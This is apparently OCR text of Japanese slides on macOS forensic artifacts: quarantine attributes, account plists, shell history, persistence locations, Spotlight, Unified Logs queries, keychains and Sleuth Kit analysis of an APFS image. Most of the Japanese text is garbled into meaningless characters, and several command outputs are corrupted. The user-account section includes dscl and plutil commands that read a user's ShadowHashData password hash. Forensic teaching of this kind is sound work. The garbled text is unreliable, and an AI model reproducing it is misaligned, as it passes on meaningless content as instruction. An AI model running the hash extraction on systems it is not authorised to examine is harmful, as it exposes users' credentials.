= J74 )LD ERY R |ﬁ$l§%ﬁ@§%
= HFS+, APFSH(C{EFER]EE
* NTFSQAlternate Data Stream (ADS)ICHH=193
= WebJ3OHZETI7/ ) &5 0—-RUEERICS5&EN3
» kMDItemWhereFroms : 47> 0— R7tURL
> kMDItemDownloadedDate : J7ILDOFD>O-REEF
= macOSDEF1YT(IL—LAT-INHSIRU T, 914700 DR
OIPAWNAFV I REZITD
» com.apple.quarantine
= exFAT/2EExtended AttributesZ{R{F CESRVI7AILS AT AIC
IV dE—9 3¢, [._<filename> JELVDERIDEELI7 AU
I5ERMRFENS (AppleDoubleJA—XWR)
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o JI7AINZATLRIT—H (4/4)

= Extended Attributes (2)

% xattr -1 ~/Downloads/Hopper-5.2.0-demo.dmg
com.apple.metadata:kMDItemWhereFroms:

Y0Yogooy b2 /0 6C 69 /3 74 3¢ 3¢ AZ 01 02 S5F 10 3B 68 74 |bplistee... .;ht]|
00000010 74 70 73 3A 2F 2F 64 32 61 70 36 79 70 6C 31 78 | |tps://d2ap6yplix|
00000020 62 65 34 6B 2E 63 6C 6F 75 64 66 72 6F 6E 74 2E | |bedk.cloudfront. |
00000030 6E 65 74 2F 48 6F 70 70 65 72 2D 35 2E 32 2E 30 | |net/Hopper-5.2.0]|
00000040 2D 64 65 6D 6F 2E 64 6D 67 S5F 10 28 68 74 74 70 | |-demo.dmg_.(http]
0000050 73 3A 2F 2F 77 77 77 2E 68 6F 70 70 65 72 61 70 | |s://www.hopperap|
000060 70 2E 63 6F 6D 2F 64 6F 77 6E 6C 6F 61 64 2E 68 |p.com/download.h|
00000070 74 6D 6C 3F 08 OB 49 00 00 00 00 00 00 01 01 00 |tml?..I......... |
00000080 ©0 0O 00 00 0O 00 O3 00 0O 0O 00 00 00 00 00 OO0 |........c00nuunn |
00000090 00 00 0O 00 00 00 74 |[.ooo... t|

00000097

com.apple.quarantine: 0081;61bfcf9b Firefox 267B7D7C-D5A0-4F13-B87F-B2D2DC81BE89
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1-H—TFHIUK (1/6)

° Open Directory

" macOSTHEAENDT LI N —EXBLURY NI =T8S AT A
= 1-Y-7HI> M) =T RARDFE LV EBIRIEIRAD 7 IR
PEEZITD
= T3J42%BU T, )\yII>RERBBO—-NILT7ALASLDAP, Active
Directorylc 771 A9%
° Open Directory®O—H)LIL—KIAILS
" /private/var/db/dslocal/nodes/Default/

= ZREFIRITI— FIAITLL T (CplistTrAILEL TRIFEND
° Open DirectoryDEHRAD IR

*dsclINIR (5ATZRTL)

" BB ITAINTEIR 7 IR (GATSATLFR(EATSAY)
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o I1-YH-7HU>bk (2/6)

? odscld¥> R

$ sudo dscl
Entering interactive mode... (type "help" for commands)
> cd Local/Default/

/Local/Default > 1ls Users/ 1—Y—-UZR B

_amavisd

_analyticsd
_appinstalld 1-5-0)\A0—-R)\v217Ei=
(snip)

/Local/Default > read Users/macforensics ShadowHashData
dsAttrTypeNative:ShadowHashData:

62706c69 73743030 d2010203 0a5f101e 5352502d 52464335 3035342d 34303936 2d534841 3531322d
50424b44 46325110 1453414c 5445442d 53484135 31322d50

(snip)
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o I1-H-7HU>h (3/6)

) R ITAICERR 7R
- I-Y-UZMEEUS

()

$ sudo 1ls /private/var/db/dslocal/nodes/Default/users/

_amavisd.plist _devicemgr.plist _krb_krbtgt.plist
_scsd.plist _analyticsd.plist _diskimagesiod.plist
(snip)

- 1-5-0D)\AD—-K\y> 1Z2HS

$ sudo plutil -extract 'ShadowHashData' xmll
/private/var/db/dslocal/nodes/Default/users/macforensics.plist -o - | grep -v "<" | base64
-d -i - -0 - | plutil -convert xmll - -o -
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o I1-YH-7HU>h (4/6)

° B 074> 1~
" /Library/Preferences/com.apple.loginwindow.plist
"« BBICDTAUEI-S—DEN. DI RTORE, 07/ 2aT0s
’_&A\%’S’)f BEIOJ(>1-Y—. FANI-Y-DOa]EREEFEERSN

O

$ % plutil -p /Library/Preferences/com.apple.loginwindow.plist
{
"AccountInfo" => {
"FirstLogins" => {
"macforensics” => 1
"userol" => 1
}
"MaximumUsers" => 1
"OnConsole" => {
}

}
"GuestEnabled" => ©

"lastLoginPanic" => 642904286.81091
"lastUser" => "loggedIn"

"lastUserName" => "macforensics"
"MCXLaunchAfterUserLogin" => 1
"OptimizerLastRunForBuild" => 42142560
"OptimizerLastRunForSystem" => 184681216
"SHOWFULLNAME" => 1
"UseVoiceOverLegacyMigrated" => 1
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o I1-H-7HU>hk (5/6)

O © ﬁu Bﬂ?éﬂkl—ﬂ—
= /Library/Preferences/com.apple.preferences.accounts.plist

= BIfReNc1—Y-2a0@Eh. 1—Y—ID. HIFRENIIA LRG>
ThistikencTu

$ plutil -p /Library/Preferences/com.apple.preferences.accounts.plist
{
"deletedUsers" => [
0 => {
"date" => 2021-05-20 02:53:51 +0000
"dsAttrTypeStandard:RealName" => "testuser"
"dsAttrTypeStandard:UniqueID" => 502
"name" => "testuser"

}
]
}
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o I1-H-7hI>h (6/6)

O A=Y AT
= /Users/<username>/Library/Accounts/Accoun
tsX.sqlite
[ AT LARIRESTE DI A=Y RNZHI N D
BHMREINTLS
= [ AccountsX.sqlite /DI X (FOS/N—==3>(CLDoT
HFENEDD
» macOS 10.15, macOS 11055

e Accounts4.sqlite

—
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o JOUSLEITRERE (1/6)

5 omacOSNI0YT 3 LhEITIER
= Windows®Prefetch® LS HEBE (/2L
- zsh¥Finder. Spotlight REDT TV —23>ED
BREEL TERITIEENRS
» A4 ©AF> THEEERENBVEDNZ L)
= Unified Logs(C[EZEITENEIN KPP T —23
hEtERSNB3IEENHD
» A4 ©ARF>TEFRS
- % nified Logslc%&3 09 I AEITREEECOWTIE&IRT
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O

JOYU3LFETER (2/6)

° .bash_history
* bash®IY¥>REA M) —

° bash_sessionsT4L4~J
" macOS 10.11C¥EH
" bash®Otw2 3> ClICEAN) - IFTURFET D

= Jy4)LAEhk
» TERM_SESSION_ID.history : Zv=a>EX NIHMRFENS
» TERM_SESSION_ID.historynew : ZLDIFE. T3>
» TERM_SESSION_ID.session : &R#&(CL-1—AUIAA LRI ThURFENS
» TERM_SESSION_ID.historynew Q771 WERBERF = v 3> s HE
> TERM_SESSION_ID.history OJ7{VEBFTHEF= Ly a8 T HEf
= history 774 )UIC(EEZ =2y 3> OV REA N =2 TERL BED
ty2as QAN REZN—61E—3N URFENS. 2D, ZEDT
W33 DEBRODIN REXN)—(E, ZDEDERD.
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o JNYJSLFEITRERE (3/6)

O °.zsh_history

= zshDIV> REA M) —
* macOS 10.15CA—ZFIDOFT IAI R TILHzsh(CEE
SNz

« COT7AIVCFEITHBFFEEEEHRESNTORLN, zshdE
JLA>X> Rl history —i 1123179 dE, AN RDE
ITHEEZSACENTES

o .zsh sessionsT4/ L2~

= bash_sessionséEFRICzshDtzyS 3> CEDEZANI—H

RFEN3
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J073LFEITRERE (4/6)

o °Users Interface Preservation
= OS X 10.7CEH
= OJABFICTITVT—2 3> DIRRERIE T I Besh. VT —
NEF(C 7TV —23> DT — A% RFLTUVS
= ~/Library/Saved Application State/*.savedState/
» T4 LI NOVERL BN ST TVT — 23> =T UIAIA
LRAF>T
» J7IVOEFTERENER TEITURIA LRI T
> AES-128 THEBIESNTL\BN'T —HEFRI I7 A IUCF—hUR
FEnNtTws

= A=W T T)DIN\YI7ZEITT I DIEN TED
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O

J073L3F1TRERE (5/6)

° Spotlight Shortcuts
= IRy RS1 MSEITURTIVT -3 EEixEn3 ‘
* Spotlight@7 77 —23>%%#5c I 2D T. [ fire |II3 Tl Firefox |%
ﬁ?@“é:&b\f%o CDimA. firekFirefox DL I MHECERS
= OS X 10.94F1
» ~/Library/Preferences/com.apple.spotlight.plist
= OS X 10.104 Pz
» ~/Library/Application Support/com.apple.spotlight.Shortcuts
" macOS 10.15

» ~/Library/Application Support/com.apple.spotlight/com.apple.spotlight.Sho
rtcuts

" macOS 11LLPF

> ~/Libra£y/AppIication Support/com.apple.spotlight/com.apple.spotlight.Sho
rtcuts.v
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O

o JOJ3LEITRERE (6/6)

°Transparency, Consent, and Control (TCC)

« FSANS—(CBADBIEE (NATOIAIRE) PREDIAILY
(CPIERT2TTVT—23> OFF B] K (FAFF ] DR TEL FE R
IToIcHE

" AT

>/L|brary/AppI|cat|on Support/com.apple. TCC/TCC.db

= ] — 'U'

» /Users/<username>/Library/Application
Support/com.apple. TCC/TCC.db

= Unified LogsICHEcExEN S

> https://www.mac4n6.com/blog/2020/6/1/analysis-of-apple-
unified-logs-quarantine-edition- -entry-10-you- -down-with-tcc-yea-

you-know-me-tracking-app-permissions-and-the-tcc-apollo-
module
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BE#ETI0734 (1/6)

°Launch Daemon/Agents
" BTEDIANAARFEINIERTE T 71 ) (plist)[CREDT. OSHZEN
BRCTOT3L0%FEITIS
- ILIITICEAENNS |
* FIRITCIOTRIFIDIAINAINERD
= Apple
» /System/Library/LaunchDaemons/
» /System/Library/LaunchAgents/
" H—R)N=F7«
> /Library/LaunchDaemons/
» /Library/LaunchAgents/
m l_ﬂ:‘_
» ~/Library/LaunchAgents/
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B#ETI0734 (2/6)

ﬂD o J)N\—= A7 AEZ1RY—)LBlockBlock

% plutil -p /Library/LaunchDaemons/com.objective-see.blockblock.plist
{
"EnableTransactions" => @
"Label" => "com.objective-see.blockblock"
"LSUIElement" => 1
"MachServices" => {
"com.objective-see.blockblock” => 1
}
"ProgramArguments” => [
@ => "/Library/Objective-See/BlockBlock/BlockBlock.app/Contents/MacOS/BlockBlock™

]
"RunAtLoad" => 1
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()

BE#E1T70734 (3/6)

) oLogin ltems
- 1-HYo0J(> I T0T 5 0%FETI S
- IITTICLLEDND
= macOS 10.12LAgi

» ~/Library/Preferences/com.apple.loginitems.plist

= macOS 10.13Ap&%

» ~/Library/Application
Support/com.apple.backgroundtaskmanagementage
nt/backgrounditems.btm
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B#ETI0734 (4/6)

° Dock7M T LDEITIPAININAZEZLEX
= 1Y DEUEST T — S I LEE F ODockE I EN BB 741
SRETKIDENTED
> RARTUET VT -3 6 8B8MIC 74N RREINS
> 7IVT =320 T7A ) INZ0HA ©WAA> TEE L ERSN S
» /Users/<username>/Library/Preferences/com.apple.dock.plist )

* Dockl B ERENET TV —2 3207 L AR BRBOBDTOI T
EBEZHET. 1T DockDFA I =TI UTEE LI T T %R
1TIBIENTED

> g%ckJ:'Ci:z/—T?éﬂ%ﬁjUﬁ —23> 27 AINIAPEBUEDCAABZTBIENT
= 1—H-HISUFTEIKWVEIIC, ¥IVDT7EITRICEAR O TV —23>
HEEFITBDLIICTED
» https://posts.specterops.io/are-you-docking-kidding-me-9aa79c24bdc1
= Windows®D.LNKTERIUSSRINENTES
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O

B#E1T7707374 (5/6)

© at
= UNIX/Linux&[EU
" A NTESNMEENTWS
= Launch Daemon h'SEEEIETNS

> /System/Library/LaunchDaemons/com.apple.atrun.plist
= 23 J74)b
> /private/var/at/jobs/
» /usr/lib/cron/jobs/
> /usr/lib/cronhY/private/var/atlc)\—RU>IL TS (i-node HEIL)

°cron
= UNIX/Linux&EU
= 2370 J74)
> /private/var/at/tabs/
» /usr/lib/cron/tabs/
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BE#E1T70934 (6/6)

O cemond (Event Monitor Daemon)

=« OS X 10.5CHH
» IRTE(EFRFE SN TOR VDY, macOS 11 TEI7AILHR-T
L\5
- AT DT /LI NICT7A IV HMFEIET DEemondhY
fEEI S

» /private/var/db/emondClients
)L=ILJAIA

» /private/etc/emond.d/rules/
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C

Recent Items (1/4)

) 2 Windows®DRecentDocsD&IC 7T AL
[EO74)VIRENEEERSNITLD
= OS X 10.10LA &l

» ~/Library/Preferences/com.apple.recentitems.plist

= OS X 10.11LP%

» ~/Library/Application \
Support/com.apple.sharedfilelist/LA T D .sflx& U .sfl27
71

»*sfl : OS X 10.11LAP%
»*sfl2 : macOS 10.13LAf%
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()

Recent Items (2/4)

L o 7Y XZ1 -0l &b fEozIEE |

= Recent Applications

» com.apple.LSSharedFileList.RecentApplications(.sfl|.sfl2)
= Recent Documents

» com.apple.LSSharedFileList.RecentDocuments(.sfl|.sfl2)

>c7m.apple.LSSharedFiIeList.AppIicationRecentDocument

S
o COTALINIDT(CT TV —23> B 0sfl/sf2T7 I N'$S

= Recent Servers (U—/\&ZTHRF)

» com.apple.LSSharedFileList.RecentServers(.sfl|.sfl2)

= Recent Hosts  (IP7 RLATHRTF)
» com.apple.LSSharedFileList.RecentHosts(.sfl|.sfl2)
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Recent Items (3/4)

o cFinder®Y4 RN\ —(CFRxeN 318

= Finder Tag
» com.apple.LSSharedFileList.Projectsltems(.sfl|.sfl2)
= Favorite Items
» com.apple.LSSharedFileList.Favoriteltems(.sfl|.sfl2)
= Favorite Volumes
» com.apple.LSSharedFileList.FavoriteVolumes(.sfl|.sfl2)

o —) N FLBEIT /N

= Favorite Servers
» com.apple.LSSharedFileList.FavoriteServers (.sfl|.sfl2)
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Recent Items (4/4)

* 4707 T ERUIIAILS

= ~/Library/Preferences/.GlobalPreferences.plist
= defaults read -g NSNavRecentPlaces

o FinderlC kB 7)) ADfERE

= ~/Library/Preferences/com.apple.finder.plist
» FXDesktopVolumePositions
o TR MICRRENZRI1—LADT7 A1 DS
» FXRecentFolders
o B 10BN 1—-ARZELTANAS BN ERTFREND
» FXConnectTolLastURL
o BENXZ1—-DY — )Nz
» GoToField / GoToFieldHistory
o BENZ1—-DITANAINEENDFERE
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Safari (1/2)

° History
= /Users/<username>/Library/Safari/History.db
* TIAKNTCIETIHRS
°Downloads
= /Users/<username>/Library/Safari/Downloads.plist
* TIANKCTIHTHEAS
° Last Session
= Safari 14L48]
» /Users/<username>/Library/Safari/LastSession.plist

= Safari 15LA[%

» /Users/<username>/Library/Containers/com.apple.Safari/Data/Lib
rary/Safari/SafariTabs.db
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Safari (2/2)

© Bookmarks
® /Users/<username>/Library/Safari/Bookmarks.plist

© Extensions
" Safari 13lAF
> /Users/<username>/Library/Safari/Extensions/Extensions.plist
= Safari 14L4[%

> /Users/<username>/Library/Containers/com.apple.Safari/Data/Library/Safari/App
Extensions/Extensions.plist

> /Users/<username>/Library/Containers/com.apple.Safari/Data/Library/Safari/Web
Extensions/Extensions.plist
© Preferences
" Safari 12LLF
> /Users/<username>/Library/Preferences/com.apple.Safari.plist
" Safari 13L40%

> /Users/<username>/Library/Containers/com.apple.Safari/Data/Library/Preference
s/com.apple.Safari.plist
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()

SpotlightX557—4 (1/4)

5 °macOSDIRZRS AT/

c AT DESBRAIT —HZIR1F I D
= SpotlightiBHTEITUZIVT -2 3 R RUICEEE
= J7AIVDOMACBIA LR T (TrAIV AT LEFRIEE)
= T e AFRURAIALRET
= A )V {ERUEBfDOERE
= J71L05I>0-RTURL
= JPAINDAT>O—REITIIEAA LRI T
« 1—HEMSafari, Notes, Maps, MailREDT7 T —33a>h
FOIEHR
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SpotlightX557—4 (2/4)

O o SpotlightX57 —ADIRZE

= mdls
»IBELRIFAINDAIT 21193
= mdfind
» IBEUCERHDAIT =2 F D I7MIN 2RI D

> SpotlightX55 — A DEEAT
* mdIstPmdfind/REFSA TS AT LATRVEFESITENT
S7R0)
* SpotlightDF —HIN—ZADEEAFTICFEFR DY )L HWAE
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® SpotlightX57—4 (3/4)

()

) o Spotlight7—AR—=2X (1)

<=mac0S 10.14 | /.Spotlight-V100/Store-V2/*/store.db SAFAETL—H—F =40

: mANEFEND
/.Spotlight-V100/Store-V2/*/.store.db

>=macOS 10.15 /System/Volumes/Data/private/var/db/Spotlight- macOS 10.15DRU1— L
V100/BootVolume/Store-V2/*/store.db DENEDS AT L) 1—

/System/Volumes/Data/private/var/db/Spotlight- LA

V100/BootVolume/Store-V2/*/.store.db
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® SpotlightX57—4 (4/4)

()

) o Spotlight7—AN—=2X (2)

>=macOS 10.13 /Users/*/Library/Metadata/CoreSpotlight/index.spotli | 1—H—&(C{E5N 3.
ghtV3/store.db macOS 10.14ABF THfE
nns.

/Users/*/Library/Metadata/CoreSpotlight/index.spotli

ghtV3/.store.db

>=macOS 10.15 /System/Volumes/Data/.Spotlight-V100/Store- macOS 10.15DRU1— L
V2/*/store.db PDEIROT—AR)1-L

/System/Volumes/Data/.Spotlight-V100/Store- H
V2/*/.store.db
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VINIITA>AN=)VIElRE

O elInstallHistory

« /Library/Receipts/InstallHistory.plist

- OSVYIRIT7 DA > A M= VERENGEEREND
- )\wo—>% =232 12XV HE
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Quarantine Events

° WebJ5UHETI7M1ILDAI>0— R Tcom.apple.quarantinedli
sREIEMI S SN TP IIVDT —HR—R
" LR L (ERNCEEEREN DT Ty I DILREENHIBREN THH%SD
°Mac OS X 10.6LLF
® ~/Library/Preferences/com.apple.LaunchServices.QuarantineEvents
°© Mac OS X 10.7A[%
" ~/Library/Preferences/com.apple.LaunchServices.QuarantineEventsV2
© JpANVEGIYO= RUET T —3av &, 94 LRF> T, 9> 0-
RITTURLZFN EEERSND
2 curlj‘fwget@c‘f"@@"?)l]— RUIZ D74 VTS, SR D e ESN
9. THIR-R(TBEERENRL
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o [JDIEFE (1/3)

o °Syslog
- (GBI IRUNIXDSyslog

- Apple System Log (ASL)
- SyslogDIEESHAZ ZHIELIZED
« TFANTA—=NYH
- Syslogd¥> RICLB0 DEEE
»syslog -T utc -F raw -d asl/
»syslog -f log.asl
» Filename: YYYY.MM.DD.[UID].[GID].asl
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07 OFERE (2/3)

© Unified Logs (1)
" macOS 10.12TE A
" JH{FUTA—Tvh
" RETALIN)
> /private/var/db/uuidtext
> /private/var/db/diagnostics
" AT RT N0 ZIIAN—K
» sudo log collect
__® system_logs.logarchive PHERENS .
" TARIAA=IHEFEITOY) ZIIAR—h
1. /private/var/db/diagnostics & /private/var/db/uyidtext JA)LARDT AL Z1 D07
ANAICIE—T% (uuidiext & diagnostics DFRI A (EZHIR)
2. AE=FDTAIA(C " logarchive" ILEFZ{INNTS
> macOSON—23> 7y I (> TEFEBIMOFIRN B E(C BN
® Catalina L TREUTEzUnifiedLogZ #1193
® https://padawan-4n6.hatenablog.com/entry/2020/03/15/052607
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o [OJNDFEXE (3/3)

© <Unified Logs (2)

“ logd¥ >R

———
R

log show --debug --info --predicate 'FILTERING CONDITION' --start 'YYYY-MM-DD hh:mm:ss'
--end 'YYYY-MM-DD hh:mm:ss'

- TR S

eventType

eventMessage
messageType
process
processImagePath
sender
senderImagePath
subsystem
category

The type of event: activityCreateEvent, activityTransitionEvent, logEvent, signpostEvent, stateEvent,
timesyncEvent, traceEvent and userActionEvent.

The
For
The
The
The
The
The
The

pattern within the message text, or activity name of a log/trace entry.

logEvent and traceEvent, the type of the message itself: default, info, debug, error or fault.
name of the process the originated the event.

full path of the process that originated the event.

name of the library, framework, kernel extension, or mach-o image, that originated the event.

full path of the library, framework, kernel extension, or mach-o image, that originated the event.
subsystem used to log an event. Only works with log messages generated with os_log(3) APIs.
category used to log an event. Only works with log messages generated with os_log(3) APIs. When

category is used, the subsystem filter should also be provided.




Unified Logs (1/5)

()

) o Unified LogsJA—~Y K

Activity ID

. . : Process |D Process Name
ow --info --debug --predys
g the log data using "

imeMachine"

3 f Type Activity
2021-11-09 18:41:17.571449+0900 0x23fb85 | Info ox0 259 0

[com.apple.TimeMachine:General | Mountpoint '/Volumes/TimeMachine' is still valic

Sender (Library)

backupd:  (TimeMachine)

Category

Event Message

- RER(E11T
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()

) o

e Unified Logs (2/5)

J14)L361 (1)

= sudo, suE1T

LOWRIIDVIE St

% log show --debug --info --predicate 'process BEGINSWITH "su" and eventMessage CONTAINS[cd] "tty"'

Filtering the
Timestamp
2021-11-17 15:
TTY=ttysoo1l ;
2021-11-17 15:
TTY=ttysoo1l ;
2021-11-17 15:
TTY=ttysoo1l ;

log data using "process BEGINSWITH "su" AND composedMessage CONTAINS[cd] "tty""

Thread Type Activity
07:18.397543+0900 0x3bf47c  Default ox0
PWD=/Users/macforensics ; USER=root ;| COMMAND=/usr/bin/xargs
07:18.490150+0900 0x3bf54d Default
PWD=/Users/macforensics ; USER=root ; /usr/bin/xargs
07:18.536167+0900 0x3bf556 Defau
PWD=/Users/macforensics ; USER=roo

/usr/local/Homebrew/Library/Homebrew/cask/utils/rmdir.sh

2021-11-17 15:
TTY=ttyseol ;

07:18.591643+0900 0x3bf568 Default ox0
PWD=/Users/macforensics ; USER=root ; COMMAND=/usr/bin/xargs

/usr/local/Homebrew/Library/Homebrew/cask/utils/rmdir.sh

(snip)

PID TTL

99577 © sudo:
-9 -- /bin/rm --
99580 © sudo:
-9 -- /bin/rm --
99583 © sudo:
_@ -

99587 © sudo:
-9 --

macforensics | :

macforensics :

macforensics :

macforensics :
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e Unified Logs (3/5)

()

) o 4L (2)
- YE— MNRZAMDSSHOY 1>

$ log show --debug --info --predicate 'process == "ssh"'

Filtering the log data using "process == "ssh""

Timestamp Thread Type Activity PID
2021-12-06 15:42:44.871628+0900 ©x5bae5 Activity oxb7afo 29641
(libsystem_info.dylib) Retrieve User by ID

2021-12-06 15:42:44.903844+0900 ©x5baeb Active 1— e HH—)\ 11
(libsystem_info.dylib) Retrieve service by name g ;§5ﬁ3§§i Ej a
2021-12-06 15:43:03.713101+0900 ©x5bb72 Activity ]jj)%DC*L 3
(libsystem_info.dylib) Retrieve User by ID

2021-12-06 15:43:03.715080+0900 ©x5bb72 Activity oxb7bcl 29643
(libsystem_info.dylib) Retrieve service by name

(snip)

ssh:

ssh:

ssh:

ssh:
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e Unified Logs (4/5)

()

) o J4)LARN (3)
s MNJ1—LNIN/TIRI N

% log show --info --debug --predicate 'process == "kernel" AND (eventMessage CONTAINS "mounted" OR eventMessage
CONTAINS "unmount")'
Filtering the log data using "process == "kernel" AND (composedMessage CONTAINS "mounted" OR composedMessage

CONTAIN
Timesta Type Activity PID TTL
202 -06 15:54:26.3 8+0900 Ox5cc5f Default ox0 0 0 kernel: (HFS) hfs:

mounted Script Debugger 8.0 on device disk4s2

2021-12-06 15:54:32.218976+0900 ©x5cf19 Default 0x0 0 0 kernel: (HFS) hfs:
unmount initiated on Script Debugger 8.0 on device disk4s2
(snip)
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e Unified Logs (5/5)

()

) o J4 LA (4)
s P I —23>FET

% log show --info --debug --predicate 'eventMessage BEGINSWITH "LAUNCHING:" OR eventMessage BEGINSWITH "LAUNCH:

Filtering the log data using "composedMessage BEGINSWITH * _ N ssage BEGINSWITH "LAUNCH: ™"
Timestamp Thread Type Act BEIT7 T —23> L
2021-12-07 01:19:26.884224+0900 0x6886b Default 0x0 90 0 Dock: | (LaunchServices)

[com.apple.processmanager: froriji==lmm =~ 7N —3,7> @ com.apple.systempreferences starting stopped
Srocess EITENTIVT—23>0

2021-12-07 08:13:48.861531+096 Bundle ID 19047 ©  Spotlight:
(LaunchServices) [com.apple.processmanager:front-35286506] LAUNCH: 0x0-0x23a23a org.pgrs.Karabiner-
Elements.Preferences starting stopped process.

2021-12-07 ©8:13:53.075373+0900 0x8b26a Default 0x0 18976 © UserEventAgent:

(LaunchServices) [com.apple.processmanager:front-35286506] LAUNCH: Ox0-0x241241 com.apple.systempreferences
starting stopped process.

(snip)
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® I—FI—

&t WIRIZ RS M7 TUT 23> 0)RT— K, WebB A
D7 AT MOINZAT— R, SEBRZE BREMRIFEND

* AT LhF—FI—>

» /Library/Keychains/System.keychain

> /private/var/db/SystemKey

>SystemKey77"f JU(C[ESystem. keycham??’f IIESI{EDY AT —F

—NEFN3H. SIPD‘Ex)JtL Za. 91T LATIFEUS TERL

* 1-Y—F—F1—

»OS X 10.1 1L)(ﬁﬁ:
/Users/<username>/Library/Keychains/login.keychain

» macOS 10.12 4%
/Users/<username>/Library/Keychains/login.keychain-db
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o yhJ—Jizke (1/2)

O ° CFURL Cache

 NSURLRequest APITHTTP/HTTPS I AUTEEDF
Vwilb‘ﬁ)%q%
» /Users/<username>/Library/Caches/<Bundle
ID>/Cache.db
> g%’%lbfcu RLYAA LRG> T =)Dl AR AW EE 8k
>34 AZ’S’)T(&*%\&(Z?’]JQ\ZL/E(I)EI i \
« —TELUAEDOYA XD =)L AR X (EGUIDHEINDST
ASNT. J74)IEUTRFEND

» /Users/<username>/Library/Caches/<Bundle
ID>/fsCacheData

pAY



o RyNI—UEEEE (2/2)

© oNet Usage
= macOS 10.15L4gi

« macOS 11LARZF

= SIPCTIRFEINTLS

jDO?A% E_*]J(L_1§I

» /private/var/networkd/netusage.sqglite

» /private/var/networkd/db/netusage.sqlite

b?Z_EI B, ERfR(CfER

270



o RaTIBHx (1/2)

O <knowledgeC.db
= VAT A

» 15—

= IV —23> 0]
RE

» /private/var/db/CoreDuet/Knowledge/

» ~/Library/Application Support/Knowledge/
J#ftaT\°SafariD 7t X

N

ez

27



o 5B (2/2)

= IV —23>0F)

Re, J\wF)—LA)L, Xy NI—-DD(E)

) o CurrentPowerlog.PLSQL

= /private/var/db/powerlog/Library/BatteryLife/
» CurrentPowerlog.PLSQL

» Archives/powerlog_YYYY-MM-
DD_XXXXXXXX.PLQSQL.gz

PRI T L031)

E—ROIR

PIRNRRE
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@ Appendix 2:
TSKICE BT 1 RUA X— S
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O o N\=T123V Bk

® TSKICLBDTARIAA-ZHEATH (1/7)

% mmls ./data.dmg
GUID Partition Table (EFI)

Offset Sector:
Units are in 512-byte sectors

000:
001:
002:
003:
004 :
005:
006

Slot
Meta

Start

0000000000
0000000000
0000000001
0000000002
0000000040
0000409640
1782988840

End

0000000000
0000000039
0000000001
0000000033
0000409639
1782988839
1782988879

Length

0000000001
0000000040
0000000001
0000000032
0000409600
1782579200
0000000040

Description

Safety Table
Unallocated

GPT Header

Partition Table

EFI System Partition
disk image
Unallocated
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® TSKICEBTARIAX=ZHEATHN (2/7)

anp
oc

° APFSOI> 7+ DIA]

4

\

% pstat -o 409640 ./data.dmg | head -200
POOL CONTAINER INFORMATION

Container 2fc5f464-f43a-4672-935d-1ebdedf725fe

Type: APFS

NX Block Number: ©

NX oid: 1

NX xid: 1246

Checkpoint Descriptor Block: 96411

Capacity Ceiling (Size): 912680550400 B

Capacity In Use: 824476323840 B
Capacity Available: 88204226560 B
Block Size: 4096 B

Number of Blocks: 222822400

Tumber‘ of Free Blocks: 21534235 ﬁg*ﬁ;{‘j%@APFS/ ‘\‘UJ._A@
+-> Volume 85516afa-e5bl-41e9-a8d8-ebl4 APSB BIOCk Number€X:E3-5

|

| APSB Block Number: 1547567

|  APSB oid: 701674

| _APSR_xid: 1244

| Name (Role): Macintosh HD - Data (Unknown)
| Capacity Consumed: 808942489600 B
|

(

Capacity Reserved: None
snip)




® TSKICEBTARIAX=ZHEATH (3/7)

© o APFSTRU1— AMDIREE

% fsstat -o 409640 -B 1547567 ./data.dmg
FILE SYSTEM INFORMATION
File System Type: APFS

Volume UUID 85516afa-e5b1-41e9-a8d8-eb1431c49299
APSB Block Number: 1547567

APSB oid: 701674

APSB xid: 1244

Name (Role): Macintosh HD - Data (Unknown)
Capacity Consumed: 808942489600 B

Capacity Reserved: None
Capacity Quota: None
Case Sensitive: No
Encrypted: No

Formatted by: asr (1677. Zj"‘}j‘\/ﬂ“} hW@"%*E(:?UthE
Created: 2021-10-04 2 N re = O N OIS WA M e
Snapshots j_‘yj‘/fl‘y |\| D%}E Ea_5

[1231] 2021-10-04 ©9:01:55.141826872 (JST) live_9F8C863A-76B1-45FF-81F7-FFDO9OEA45AB

APSB Block Numberz3§Ed 3

Unmount Logs

Timestamp Log String
2021-10-04 09:01:58.116745864 (IST) apfs_kext (1677.141.2)
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® TSKICEBTARIAX=ZHEATHN (4/7)

QO o IPAIAR

% fls -o 409640 -B 1547567 ./data.dmg 1097488

d/d
r/r
d/d
r/r
r/r
r/r
d/d
r/r
d/d
r/r
r/r
d/d
d/d
r/r
r/r
r/r
r/r
r/r
r/r
r/r
r/r
d/d
r/r

21976703
20122626
19651326:

1141138:

21976676

PLYVEET S
8511798:
9369066
9335155:
1097489:
6914785:

21998020:

8510663:

22504247

8304914:

20123007

9409046
8292313:

22483996:

6914991:
8628531:
9318561:
8306748:

sleuthkit-4.11.0
ScriptDebugger8.0-8A32.dmg
iso_images

.DS_Store
sleuthkit-4.11.0.tar.gz
sdl-monitor.zip

malware analysis tools
IDAPython-Book.pdf
mac_malware

.localized
Hex_Fiend_2.12.dmg
autopsy-4.19.1
objective-see tools
LibreOffice_7.2.0_MacOS_x86-64_langpack_ja.dmg
mt-fuji-477832_1920.7jpg

ScriptDebugger7.0.12-7A112.dmg
Intel(R)_USB_3.0_eXtensible_Host_Controller_Driver_5.0.4.43 v2.zip
Kernel_Debug Kit_10.14.4_build_18E226.dmg
LibreOffice_7.2.0_MacOS_x86-64.dmg
fortiappmonitor_1.0.0_release.pkg

sentinal-one-mac-os-.pdf

IDA Pro

architecture-1869398_1920. jpg

Node ID (i-node)Zi87E 9 .
BREUISE. -~ 1L NIZIEY,
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® TSKICLDTARIA A= FEAFTH (5/7)

O o TPAINDRAIT =4

% istat -o 409640 -B 1547567 ./data.dmg 6914785
INode Number: 6914785

Allocated

Type: Regular File
Mode: rrw-r--pr--
Size: 2075292

owner / group: 501 / 20
Number of Links: 1

Filename: Hex_Fiend_2.12.dmg

BSD flags: 0x00000000

Times:

Created: 2020-01-07 12:40:49.837570530 (3JST)

Content Modified: 2020-01-07 12:40:51.118232894 (3JST)

Attributes Modified: 2021-06-23 15:35:49.890141839 (3JST)

Accessed: 2020-01-07 14:57:17.754549141 (3JST)

Date Added: 2020-01-07 12:40:49.837570530 (3JST) Extended Attrlbutes
Attributes:

Type: DATA (4352-0) Name: N/A  Non-Resident size: 2075292 init_size: 2075292

(snip)

Type: EXATTR (4354-1) Name: com.apple.diskimages.fsck Resident size: 20

Type: EXATTR (4354-2) Name: com.apple.diskimages.recentcksum Resident size: 80
Type: EXATTR (4354-3) Name: com.apple.macl Resident size: 72

Type: EXATTR (4354-4) Name: com.apple.metadata:kMDItemWhereFroms Resident size: 616
